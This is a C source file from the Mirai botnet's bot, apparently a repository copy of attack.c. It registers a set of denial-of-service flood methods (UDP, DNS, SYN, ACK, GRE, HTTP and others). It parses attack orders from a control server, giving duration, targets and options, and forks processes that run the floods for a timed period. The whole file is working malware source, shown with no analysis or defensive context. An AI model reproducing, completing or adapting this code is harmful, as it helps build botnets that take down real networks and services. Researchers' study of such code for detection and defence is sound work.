Mirai-Source-Code/mirai/bot/attack.c

251 lines
5.8 KiB
C
Executable File

#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include "includes.h"
#include "attack.h"
#include "rand.h"
#include "util.h"
#include "scanner.h"
uint8_t methods_len = 0;
struct attack_method **methods = NULL;
int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0};
BOOL attack_init(void)
{
int i;
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
return TRUE;
}
void attack_kill_all(void)
{
int i;
#ifdef DEBUG
printf("[attack] Killing all ongoing attacks\n");
#endif
for (i = 0; i < ATTACK_CONCURRENT_MAX; i++)
{
if (attack_ongoing[i] != 0)
kill(attack_ongoing[i], 9);
attack_ongoing[i] = 0;
}
#ifdef MIRAI_TELNET
scanner_init();
#endif
}
void attack_parse(char *buf, int len)
{
int i;
uint32_t duration;
ATTACK_VECTOR vector;
uint8_t targs_len, opts_len;
struct attack_target *targs = NULL;
struct attack_option *opts = NULL;
// Read in attack duration uint32_t
if (len < sizeof (uint32_t))
goto cleanup;
duration = ntohl(*((uint32_t *)buf));
buf += sizeof (uint32_t);
len -= sizeof (uint32_t);
// Read in attack ID uint8_t
if (len == 0)
goto cleanup;
vector = (ATTACK_VECTOR)*buf++;
len -= sizeof (uint8_t);
// Read in target count uint8_t
if (len == 0)
goto cleanup;
targs_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (targs_len == 0)
goto cleanup;
// Read in all targs
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
goto cleanup;
targs = calloc(targs_len, sizeof (struct attack_target));
for (i = 0; i < targs_len; i++)
{
targs[i].addr = *((ipv4_t *)buf);
buf += sizeof (ipv4_t);
targs[i].netmask = (uint8_t)*buf++;
len -= (sizeof (ipv4_t) + sizeof (uint8_t));
targs[i].sock_addr.sin_family = AF_INET;
targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
}
// Read in flag count uint8_t
if (len < sizeof (uint8_t))
goto cleanup;
opts_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
// Read in all opts
if (opts_len > 0)
{
opts = calloc(opts_len, sizeof (struct attack_option));
for (i = 0; i < opts_len; i++)
{
uint8_t val_len;
// Read in key uint8
if (len < sizeof (uint8_t))
goto cleanup;
opts[i].key = (uint8_t)*buf++;
len -= sizeof (uint8_t);
// Read in data length uint8
if (len < sizeof (uint8_t))
goto cleanup;
val_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (len < val_len)
goto cleanup;
opts[i].val = calloc(val_len + 1, sizeof (char));
util_memcpy(opts[i].val, buf, val_len);
buf += val_len;
len -= val_len;
}
}
errno = 0;
attack_start(duration, vector, targs_len, targs, opts_len, opts);
// Cleanup
cleanup:
if (targs != NULL)
free(targs);
if (opts != NULL)
free_opts(opts, opts_len);
}
void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int pid1, pid2;
pid1 = fork();
if (pid1 == -1 || pid1 > 0)
return;
pid2 = fork();
if (pid2 == -1)
exit(0);
else if (pid2 == 0)
{
sleep(duration);
kill(getppid(), 9);
exit(0);
}
else
{
int i;
for (i = 0; i < methods_len; i++)
{
if (methods[i]->vector == vector)
{
#ifdef DEBUG
printf("[attack] Starting attack...\n");
#endif
methods[i]->func(targs_len, targs, opts_len, opts);
break;
}
}
//just bail if the function returns
exit(0);
}
}
char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def)
{
int i;
for (i = 0; i < opts_len; i++)
{
if (opts[i].key == opt)
return opts[i].val;
}
return def;
}
int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def)
{
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
if (val == NULL)
return def;
else
return util_atoi(val, 10);
}
uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def)
{
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
if (val == NULL)
return def;
else
return inet_addr(val);
}
static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
{
struct attack_method *method = calloc(1, sizeof (struct attack_method));
method->vector = vector;
method->func = func;
methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));
methods[methods_len++] = method;
}
static void free_opts(struct attack_option *opts, int len)
{
int i;
if (opts == NULL)
return;
for (i = 0; i < len; i++)
{
if (opts[i].val != NULL)
free(opts[i].val);
}
free(opts);
}